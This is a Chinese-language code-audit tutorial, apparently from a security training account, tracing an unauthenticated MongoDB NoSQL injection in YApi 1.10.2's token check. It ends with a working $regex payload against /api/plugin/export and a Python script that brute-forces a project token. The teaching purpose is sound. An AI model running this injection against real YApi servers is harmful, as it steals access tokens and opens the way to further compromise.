已经快有三个月没开公开课,在这三个月里面,我们进行了第一期的代码审计内部培训。
目前,第一期的代码审计培训,已经接近尾声,所以我们就又来开公开课招生啦。
第一节公开课 cs rce代码审计 java语言
第二节公开课 某bc rce代码审计 php语言
第三节公开课 某真实案例的靶场 rce代码审计 python语言+php语言
1.背景知识
本次跟大家一起分享的是yapi去年年底爆出来的从未授权注入到rce的利用链。
这个yapi在国内国外知名度比较高的一款api管理平台。我们可以看到github上有25.6k个star。
为什么我们这一期要挑yapi开刀呢?
最主要的原因,他是一套nodejs的代码。然后熟悉我们培训的朋友都知道,我有一个理论:
代码审计,与代码语言本身无关,考验的是对漏洞的理解方式和挖掘能力
从这个角度讲,语言只是工具,只要大家能够掌握核心的对漏洞的理解方式和挖掘能力,任何一门语言、一个框架,只需要花很短时间熟悉下语法,就可以举一反三、融会贯通,快速地通过代审挖掘、复现漏洞。这样讲,可能有不少师傅觉得我在吹逼,不过如果师傅们把我们每节公开课都认真听过的话,相信大家多多少少会开始认同这个观点。
所以我特地挑了一个以前没有讲过的语言来讲讲。
2.调试环境搭建
yapi以前我没装过,貌似在我的mac上比较复杂,搞了一个钟头都没编译起来。
所以我们换一种方式。
1.起一个docker MongoDB
docker pull mongo
docker run -p 27017:27017 -itd mongo
yapi的数据库是MongoDB哈,所以我们需要自己去装一个MongoDB,这次注入也是一个MongoDB的注入
2.yapi部署
官方文档:
https://hellosean1025.github.io/yapi/devops/index.html
这里我们部署最新一个有漏洞的版本1.10.2
然后呢,为了本地调试方便,我需要把安装好的代码从虚拟机上拷贝出来。
这样我们就把网站跑起来了。
然后还要进行一些基础设置一会才能利用,我们要先进去创建至少一个项目并且生成一个token。
然后我们试试调试。下个断点
可以看到断点正常了。然后我们正式开始代码审计。
3.代码分析篇
0x00 代码结构
一般而言,nodejs是web服务器和web应用是一体的。我们审计的时候,可以先快速阅读下大体的结构,首先确定web服务器是怎么起来的。
比如这里,就是进行端口绑定,绑定了端口的时候,说明web服务器已经准备好了,可以跑起来了。
那么,对于我们web代码审计中,最重要的,路由绑定是怎么弄的呢?
对于这种应用即服务器的业务,他的路由绑定一般是在服务端口绑定之前的,所有这一块就要看之前的代码了。
我们看到有一个变量叫做router,即路由。显然这是个关键模块了。
let INTERFACE_CONFIG = {
interface: {
prefix: '/interface/',
controller: interfaceController
},
user: {
prefix: '/user/',
controller: userController
},
group: {
prefix: '/group/',
controller: groupController
},
project: {
prefix: '/project/',
controller: projectController
},
log: {
prefix: '/log/',
controller: logController
},
follow: {
prefix: '/follow/',
controller: followController
},
col: {
prefix: '/col/',
controller: interfaceColController
},
test: {
prefix: '/test/',
controller: testController
},
open: {
prefix: '/open/',
controller: openController
}
};
let routerConfig = {
group: [
{
action: 'getMyGroup',
path: 'get_mygroup',
method: 'get'
},
{
action: 'list',
path: 'list',
method: 'get'
},
{
action: 'add',
path: 'add',
method: 'post'
},
{
action: 'up',
path: 'up',
method: 'post'
},
{
action: 'del',
path: 'del',
method: 'post'
},
/*
...
...
...
*/
open: [
{
action: 'projectInterfaceData',
path: 'project_interface_data',
method: 'get'
},
{
action: 'runAutoTest',
path: 'run_auto_test',
method: 'get'
},
{
action: 'importData',
path: 'import_data',
method: 'post'
}
]
};
看似定义了一堆路由api,以及一些控制器,但是又是如何把这些控制器跟api绑定在一起的呢?我们继续看
for (let ctrl in routerConfig) {
let actions = routerConfig[ctrl];
actions.forEach(item => {
let routerController = INTERFACE_CONFIG[ctrl].controller;
let routerPath = INTERFACE_CONFIG[ctrl].prefix + item.path; //控制器前缀+动作path = 路由的api
createAction(router, '/api', routerController, item.action, routerPath, item.method);
});
}
可以看到他会迭代遍历上面的routerConfig,routerConfig里面其实就是所有的控制器-动作的集合,通过迭代,最终将所有的动作与api的映射关系,传递给createAction去进行绑定
通过下断点调试,我们可以看得更清楚一点。
比如api路由 /api/group/add_member就会映射到
groupController这个控制器的addMember方法
并且可以看到,具体的映射处理是由createAction这个函数来做的。
也就是我们访问/api/group/add_member时,流程会先走到createAction函数,由createAction来决定要将下一步逻辑走到哪一个控制器(controller)的哪一个动作(action)
exports.createAction = (router, baseurl, routerController, action, path, method, ws) => {
router[method](baseurl + path, async ctx => {
let inst = new routerController(ctx);
try {
await inst.init(ctx);
ctx.params = Object.assign({}, ctx.request.query, ctx.request.body, ctx.params);
if (inst.schemaMap && typeof inst.schemaMap === 'object' && inst.schemaMap[action]) {
let validResult = yapi.commons.validateParams(inst.schemaMap[action], ctx.params);
if (!validResult.valid) {
return (ctx.body = yapi.commons.resReturn(null, 400, validResult.message));
}
}
if (inst.$auth === true) {
await inst[action].call(inst, ctx);
} else {
if (ws === true) {
ctx.ws.send('请登录...');
} else {
ctx.body = yapi.commons.resReturn(null, 40011, '请登录...');
}
}
} catch (err) {
ctx.body = yapi.commons.resReturn(null, 40011, '服务器出错...');
yapi.commons.log(err, 'error');
}
});
};
0x01鉴权过程
然后这次的注入漏洞就是出现在createAction里面的一个阶段
await inst.init(ctx);
async init(ctx) {
this.$user = null;
this.tokenModel = yapi.getInst(tokenModel);
this.projectModel = yapi.getInst(projectModel);
let ignoreRouter = [
'/api/user/login_by_token',
'/api/user/login',
'/api/user/reg',
'/api/user/status',
'/api/user/logout',
'/api/user/avatar',
'/api/user/login_by_ldap'
];
if (ignoreRouter.indexOf(ctx.path) > -1) {
this.$auth = true;
} else {
await this.checkLogin(ctx);
}
let openApiRouter = [
'/api/open/run_auto_test',
'/api/open/import_data',
'/api/interface/add',
'/api/interface/save',
'/api/interface/up',
'/api/interface/get',
'/api/interface/list',
'/api/interface/list_menu',
'/api/interface/add_cat',
'/api/interface/getCatMenu',
'/api/interface/list_cat',
'/api/project/get',
'/api/plugin/export',
'/api/project/up',
'/api/plugin/exportSwagger'
];
let params = Object.assign({}, ctx.query, ctx.request.body); //获取请求里面url参数和body参数
let token = params.token; //得到请求参数里面token
// 如果前缀是 /api/open,执行 parse token 逻辑
if (token && (openApiRouter.indexOf(ctx.path) > -1 || ctx.path.indexOf('/api/open/') === 0 )) {
let tokens = parseToken(token) //得到tokens
const oldTokenUid = '999999'
let tokenUid = oldTokenUid;
if(!tokens){
let checkId = await this.getProjectIdByToken(token); //如果tokens为空,将用户的输入丢给getProjectIdByToken
if(!checkId)return;
}else{
token = tokens.projectToken;
tokenUid = tokens.uid;
}
我们看到,当parseToken(token)解析token失败时,会直接将token丢给getProjectIdByToken函数
async getProjectIdByToken(token) {
let projectId = await this.tokenModel.findId(token);
if (projectId) {
return projectId.toObject().project_id;
}
}
继续跟进
findId(token) {
return this.model
.findOne({
token: token
})
.select('project_id')
.exec();
}
我们看到,这里直接将token引入去进行数据库查询了。
nosql注入
那么,这样的方式有什么问题呢?
其实,如果这里是字符串的话,是没有问题的。因为这种方式就相当于进行了格式化处理和参数绑定,在这个时候,是不会存在注入风险的。
比如我们输入的是
http://127.0.0.1/?token=test'
那么最终就是执行了语句
model.findOne({token:'test'})
但是MongoDB或者说nosql的数据库都有一个特性,支持传入数组(字典)来进行条件查询。
比如我们输入的是
http://127.0.0.1/?token[xxoo]=test
要注意这里其实传入了一个数组(不用纠结于用词,也可以叫做字典,在php里面这个叫字典数组🐶),那么最终就是执行了语句
model.findOne({token:{'xxoo':'test'}})
那么,能引入了一个xxoo,会有什么差别呢?
这是mongodb数据库的特性之一,xxoo在这里指代一个操作符,可以对后面的操作数进行条件判断
model.findOne({token:{'$ne':'test'}}) // token不为test
model.findOne({token:{'$eq':'test'}}) // token等于test
具体的操作符还有很多,大家可以从官方手册上看。
关于MongoDB注入的更多知识,大家可以去参看一些其他的资料。大概在七八年前,我在乌云写过一篇帖子,用的语言还是当时比较流行的php写的文档,大家可以参考一下。
如何传入数组
我们刚才说到,要构造一个应对于参数绑定形式的MongoDB注入,我们需要传入一个数组,来通过传递操作符的方式进行注入。
那么,如何传入数组呢?
其实这个问题,基本上取决于web应用所使用的编程语言和web框架,这里就要引入一个koa组件的知识了。
koa是nodejs语言的一款web框架,yapi就是使用koa来作为基础框架编写的。
所以yapi能不能接收传入的数组,取决于koa如何处理数组。
yapi中使用的是koa-body来处理请求中的body(弃用了koa-bodyparser)。
我们这里来看看koa-body的代码。需要动调一下。
当有访问的时候,会调用koa-body里面的requestbody函数来进行输入参数的获取。
return function (ctx, next) {
var bodyPromise;
// so don't parse the body in strict mode
if (!opts.strict || ["GET", "HEAD", "DELETE"].indexOf(ctx.method.toUpperCase()) === -1) {
try {
if (opts.json && ctx.is('json')) {
bodyPromise = buddy.json(ctx, {
encoding: opts.encoding,
limit: opts.jsonLimit
});
} else if (opts.urlencoded && ctx.is('urlencoded')) {
bodyPromise = buddy.form(ctx, {
encoding: opts.encoding,
limit: opts.formLimit,
queryString: opts.queryString
});
} else if (opts.text && ctx.is('text')) {
bodyPromise = buddy.text(ctx, {
encoding: opts.encoding,
limit: opts.textLimit
});
} else if (opts.multipart && ctx.is('multipart')) {
bodyPromise = formy(ctx, opts.formidable);
}
} catch (parsingError) {
if (typeof opts.onError === 'function') {
opts.onError(parsingError, ctx);
} else {
throw parsingError;
}
}
}
当输入方式分别为json或者urlencoded或者text会有不同的处理逻辑,处理逻辑的实现来自在co-body这个模块。我们跟一下。
以json为例,当我们使用
Content-Type: application/json
就会进入到json的处理流程。
此时我们的输入是
{"a":1,"b":{"$ne":"xxoo"}}
发现他会将我们输入的字符串进行一个JSON.parse,
经过JSON.parse后,我们输入的字符串自然而然的就变成一个字典数组对象body了。
0x02 注入利用
搞明白了nosql的注入原理和为什么我们能够传递数组之后,我们就可以开始构造poc了。
{"token":{"$regex":"^f"}}
我们使用正则操作符$regex来进行注入判断,这样比较快一点。
然后我们需要找到一个合适的api,帮助我们进行逻辑判断,范围就在这些里面
比如我找到的是这个
GET /api/plugin/export HTTP/1.1
Host: 172.16.134.1:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,de;q=0.8
If-Modified-Since: Tue, 07 Feb 2023 12:12:34 GMT
Connection: close
Content-Type: application/json
Content-Length: 25
{"token":{"$regex":"^f"}}
token正则匹配成功时
token正则匹配失败时
0x03 注入poc书写
据此,我们可以写一个简单的poc了。
import json
import requests
if __name__ == '__main__':
url = "http://172.16.134.1:3000/api/plugin/export"
token = ''
for i in range(50):
old_token_len = len(token)
for j in range(16):
token_try = hex(j).replace("0x", "") #0123456789abcdef
data = {
"token": {
"$regex": "^" + token + token_try
}
}
headers = {
'Content-Type': 'application/json'
}
# print(data)
res = requests.get(url, data=json.dumps(data), headers=headers)
if len(res.text) > 50:
token = token + token_try
print(token)
break
new_token_len = len(token)
if old_token_len == new_token_len:
break
然后我们拿着它去跑一下,就可以得到该项目的token
进一步的利用过程将会放到文章代码审计公开课|yapi代码审计到rce(下)中讲解。
原文始发于微信公众号(dada安全研究所):代码审计公开课|yapi代码审计到rce(上)